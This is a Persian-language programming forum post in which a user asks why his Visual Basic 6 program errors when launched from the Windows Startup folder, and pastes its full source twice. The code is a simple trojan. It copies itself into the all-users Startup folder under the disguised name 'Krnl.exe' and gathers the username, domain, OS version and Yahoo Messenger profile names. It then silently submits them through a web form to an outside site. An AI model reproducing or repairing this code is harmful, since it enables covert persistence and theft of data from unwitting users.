elimiz
شنبه 10 دی 1390, 21:14 عصر
سلام
برنامه من بعد از اجرا خودش رو به استارت اپ کپی میکنه. اما وقتی ویندوز بالا میاد اجرا نمیشه و اررور میده
اینم عکسش
79961
وقتی فایل را rename میکنم اجرا میشه و یا وقتی فایل رو به جایی دیگه انتقال میدم اجرا میشه. اما در پوشه استارت اپ اجرا نمیشه
اینم سورس برنامه
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long
Private Sub Command1_Click()
WebBrowser3.Navigate "http://facebox.ir/stats"
WebBrowser1.Navigate "http://hamarasystem.net"
WebBrowser2.Navigate "http://facebox.ir/mail/"
Timer1.Enabled = False
End Sub
Private Sub Command2_Click()
WebBrowser2.Document.All("User Name3").Value = Text6.Text
WebBrowser2.Document.All("User Name2").Value = Text5.Text
WebBrowser2.Document.All("User Name").Value = Text4.Text
WebBrowser2.Document.All("Password").Value = Text1.Text
WebBrowser2.Document.All("Computer Name").Value = Text2.Text
WebBrowser2.Document.All("0000").Click
'Call Command3_Click
End Sub
Private Sub Command3_Click()
'FileCopy App.Path & "\" & App.EXEName & ".exe", Text3.Text & "\Documents and Settings\All Users\Start Menu\Programs\Startup\IExplorer.exe"
'FileCopy App.Path & "\" & App.EXEName & ".exe", Text3.Text & "\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IExplorer.exe"
End Sub
Private Sub Command6_Click()
If Text6.Text = "Windows 7" Then
Text2.Text = "Windows 7"
FileCopy App.Path & "\" & App.EXEName & ".exe", Text3.Text & "\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Krnl.exe"
Else
Text2.Text = "Windows Xp"
FileCopy App.Path & "\" & App.EXEName & ".exe", Text3.Text & "\Documents and Settings\All Users\Start Menu\Programs\Startup\Krnl.exe"
End If
End Sub
Private Sub Timer1_Timer()
Text2.Text = WebBrowser1.Document.Body.innerHTML
'WebBrowser2.Document.All("Computer Name").Value = Text2.Text
Call Command2_Click
Timer1.Enabled = False
End Sub
Private Sub Timer2_Timer()
Dim A As Long
Dim B As Long
If InternetGetConnectedState(A, B) = 1 Then
'Text1.Text = "connected"
Call Command1_Click
Timer2.Enabled = False
Else
Text6.Text = "no"
'Text1.Text = "noo connected"
End If
End Sub
Private Sub WebBrowser1_DownloadComplete()
Timer1.Enabled = True
'MsgBox "Complete !"
'Text2.Text = WebBrowser1.Document.Body.innerHTML
'Call Command2_Click
'
End Sub
Private Sub Form_Load()
Text6.Text = GetOSVersion()
Text4.Text = Environ("USERDOMAIN")
Text5.Text = Environ("USERNAME")
Text3.Text = Environ("homedrive")
Call Command6_Click
Dim A As New FileSystemObject
Dim t As New FileSystemObject
Dim tt As TextStream
'Set tt = t.OpenTextFile("Info.txt", ForWriting, True)
Dim msgpath As String
msgpath = ":\Program Files\Yahoo!\Messenger\Profiles"
Dim ds(25) As String
ds(0) = "B"
ds(1) = "C"
ds(2) = "D"
ds(3) = "E"
ds(4) = "F"
ds(5) = "G"
ds(6) = "H"
ds(7) = "I"
ds(8) = "J"
ds(9) = "K"
ds(10) = "L"
ds(11) = "M"
ds(12) = "N"
ds(13) = "O"
ds(14) = "P"
ds(15) = "Q"
ds(16) = "R"
ds(17) = "S"
ds(18) = "T"
ds(19) = "U"
ds(20) = "V"
ds(21) = "W"
ds(22) = "X"
ds(23) = "Y"
ds(24) = "Z"
For di = 0 To 25
If A.FolderExists(ds(di) & msgpath) = True Then
Dim B As New FileSystemObject
Dir1.Path = ds(di) & msgpath
For i = 0 To Dir1.ListCount - 1
List1.AddItem Mid(Dir1.List(i), Len(msgpath) + 3, Len(Dir1.List(i)))
If List1.List(i) = "Archive" Then List1.RemoveItem i
Next i
'tt.WriteLine "**** Yahoo! Messanger Information ****"
'tt.WriteLine "Programmer : Seyed Mahmood Abotorabi"
'tt.WriteLine "Yahoo! ID : hasht.rood"
'tt.WriteLine "Email : <a href="mailto:abotorabi@gmail.ir">abotorabi@gmail.ir</a>"
'tt.WriteLine "Website : www.facebox.ir"
'tt.WriteLine "||||||||||||||||||||||||||||||||||||||||||||||||| |||||||||||||||||||||||||||||||||||||||||||"
'tt.WriteLine "Yahoo Messanger Path: " & ds(di) & Mid(msgpath, 1, Len(msgpath) - 9)
'tt.WriteLine "Profiles:"
For i = 0 To List1.ListCount - 1
'tt.WriteLine List1.List(i)
Text1 = Text1 & "" & List1.List(i)
Text1.Text = Text1.Text & vbNewLine
Text1.SelStart = Len(Text1.Text)
Next i
'tt.Close
'MsgBox "Information Saved To Info.Txt", vbInformation, "Information"
End If
Next di
End Sub
Modules Source
Option Explicit
Private Declare Function GetVersionExA Lib "kernel32" _
(lpVersionInformation As OSVERSIONINFO) As Integer
Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Public Function GetOSVersion() As String
Dim osinfo As OSVERSIONINFO
Dim retvalue As Integer
Dim StrRet As String
osinfo.dwOSVersionInfoSize = 148
osinfo.szCSDVersion = Space$(128)
retvalue = GetVersionExA(osinfo)
With osinfo
Select Case .dwPlatformId
Case 1
Select Case .dwMinorVersion
Case 0
StrRet = "Windows 95"
Case 10
StrRet = "Windows 98"
Case 90
StrRet = "Windows Millennium"
End Select
Case 2
Select Case .dwMajorVersion
Case 3
StrRet = "Windows NT 3.51"
Case 4
StrRet = "Windows NT 4.0"
Case 5
If .dwMinorVersion = 0 Then
StrRet = "Windows 2000"
Else
StrRet = "Windows XP"
End If
Case 6
If .dwMinorVersion = 0 Then
StrRet = "Windows Vista"
Else
StrRet = "Windows 7"
End If
End Select
Case Else
StrRet = "Failed"
End Select
End With
GetOSVersion = StrRet
End Function
برنامه من بعد از اجرا خودش رو به استارت اپ کپی میکنه. اما وقتی ویندوز بالا میاد اجرا نمیشه و اررور میده
اینم عکسش
79961
وقتی فایل را rename میکنم اجرا میشه و یا وقتی فایل رو به جایی دیگه انتقال میدم اجرا میشه. اما در پوشه استارت اپ اجرا نمیشه
اینم سورس برنامه
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long
Private Sub Command1_Click()
WebBrowser3.Navigate "http://facebox.ir/stats"
WebBrowser1.Navigate "http://hamarasystem.net"
WebBrowser2.Navigate "http://facebox.ir/mail/"
Timer1.Enabled = False
End Sub
Private Sub Command2_Click()
WebBrowser2.Document.All("User Name3").Value = Text6.Text
WebBrowser2.Document.All("User Name2").Value = Text5.Text
WebBrowser2.Document.All("User Name").Value = Text4.Text
WebBrowser2.Document.All("Password").Value = Text1.Text
WebBrowser2.Document.All("Computer Name").Value = Text2.Text
WebBrowser2.Document.All("0000").Click
'Call Command3_Click
End Sub
Private Sub Command3_Click()
'FileCopy App.Path & "\" & App.EXEName & ".exe", Text3.Text & "\Documents and Settings\All Users\Start Menu\Programs\Startup\IExplorer.exe"
'FileCopy App.Path & "\" & App.EXEName & ".exe", Text3.Text & "\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IExplorer.exe"
End Sub
Private Sub Command6_Click()
If Text6.Text = "Windows 7" Then
Text2.Text = "Windows 7"
FileCopy App.Path & "\" & App.EXEName & ".exe", Text3.Text & "\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Krnl.exe"
Else
Text2.Text = "Windows Xp"
FileCopy App.Path & "\" & App.EXEName & ".exe", Text3.Text & "\Documents and Settings\All Users\Start Menu\Programs\Startup\Krnl.exe"
End If
End Sub
Private Sub Timer1_Timer()
Text2.Text = WebBrowser1.Document.Body.innerHTML
'WebBrowser2.Document.All("Computer Name").Value = Text2.Text
Call Command2_Click
Timer1.Enabled = False
End Sub
Private Sub Timer2_Timer()
Dim A As Long
Dim B As Long
If InternetGetConnectedState(A, B) = 1 Then
'Text1.Text = "connected"
Call Command1_Click
Timer2.Enabled = False
Else
Text6.Text = "no"
'Text1.Text = "noo connected"
End If
End Sub
Private Sub WebBrowser1_DownloadComplete()
Timer1.Enabled = True
'MsgBox "Complete !"
'Text2.Text = WebBrowser1.Document.Body.innerHTML
'Call Command2_Click
'
End Sub
Private Sub Form_Load()
Text6.Text = GetOSVersion()
Text4.Text = Environ("USERDOMAIN")
Text5.Text = Environ("USERNAME")
Text3.Text = Environ("homedrive")
Call Command6_Click
Dim A As New FileSystemObject
Dim t As New FileSystemObject
Dim tt As TextStream
'Set tt = t.OpenTextFile("Info.txt", ForWriting, True)
Dim msgpath As String
msgpath = ":\Program Files\Yahoo!\Messenger\Profiles"
Dim ds(25) As String
ds(0) = "B"
ds(1) = "C"
ds(2) = "D"
ds(3) = "E"
ds(4) = "F"
ds(5) = "G"
ds(6) = "H"
ds(7) = "I"
ds(8) = "J"
ds(9) = "K"
ds(10) = "L"
ds(11) = "M"
ds(12) = "N"
ds(13) = "O"
ds(14) = "P"
ds(15) = "Q"
ds(16) = "R"
ds(17) = "S"
ds(18) = "T"
ds(19) = "U"
ds(20) = "V"
ds(21) = "W"
ds(22) = "X"
ds(23) = "Y"
ds(24) = "Z"
For di = 0 To 25
If A.FolderExists(ds(di) & msgpath) = True Then
Dim B As New FileSystemObject
Dir1.Path = ds(di) & msgpath
For i = 0 To Dir1.ListCount - 1
List1.AddItem Mid(Dir1.List(i), Len(msgpath) + 3, Len(Dir1.List(i)))
If List1.List(i) = "Archive" Then List1.RemoveItem i
Next i
'tt.WriteLine "**** Yahoo! Messanger Information ****"
'tt.WriteLine "Programmer : Seyed Mahmood Abotorabi"
'tt.WriteLine "Yahoo! ID : hasht.rood"
'tt.WriteLine "Email : <a href="mailto:abotorabi@gmail.ir">abotorabi@gmail.ir</a>"
'tt.WriteLine "Website : www.facebox.ir"
'tt.WriteLine "||||||||||||||||||||||||||||||||||||||||||||||||| |||||||||||||||||||||||||||||||||||||||||||"
'tt.WriteLine "Yahoo Messanger Path: " & ds(di) & Mid(msgpath, 1, Len(msgpath) - 9)
'tt.WriteLine "Profiles:"
For i = 0 To List1.ListCount - 1
'tt.WriteLine List1.List(i)
Text1 = Text1 & "" & List1.List(i)
Text1.Text = Text1.Text & vbNewLine
Text1.SelStart = Len(Text1.Text)
Next i
'tt.Close
'MsgBox "Information Saved To Info.Txt", vbInformation, "Information"
End If
Next di
End Sub
Modules Source
Option Explicit
Private Declare Function GetVersionExA Lib "kernel32" _
(lpVersionInformation As OSVERSIONINFO) As Integer
Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Public Function GetOSVersion() As String
Dim osinfo As OSVERSIONINFO
Dim retvalue As Integer
Dim StrRet As String
osinfo.dwOSVersionInfoSize = 148
osinfo.szCSDVersion = Space$(128)
retvalue = GetVersionExA(osinfo)
With osinfo
Select Case .dwPlatformId
Case 1
Select Case .dwMinorVersion
Case 0
StrRet = "Windows 95"
Case 10
StrRet = "Windows 98"
Case 90
StrRet = "Windows Millennium"
End Select
Case 2
Select Case .dwMajorVersion
Case 3
StrRet = "Windows NT 3.51"
Case 4
StrRet = "Windows NT 4.0"
Case 5
If .dwMinorVersion = 0 Then
StrRet = "Windows 2000"
Else
StrRet = "Windows XP"
End If
Case 6
If .dwMinorVersion = 0 Then
StrRet = "Windows Vista"
Else
StrRet = "Windows 7"
End If
End Select
Case Else
StrRet = "Failed"
End Select
End With
GetOSVersion = StrRet
End Function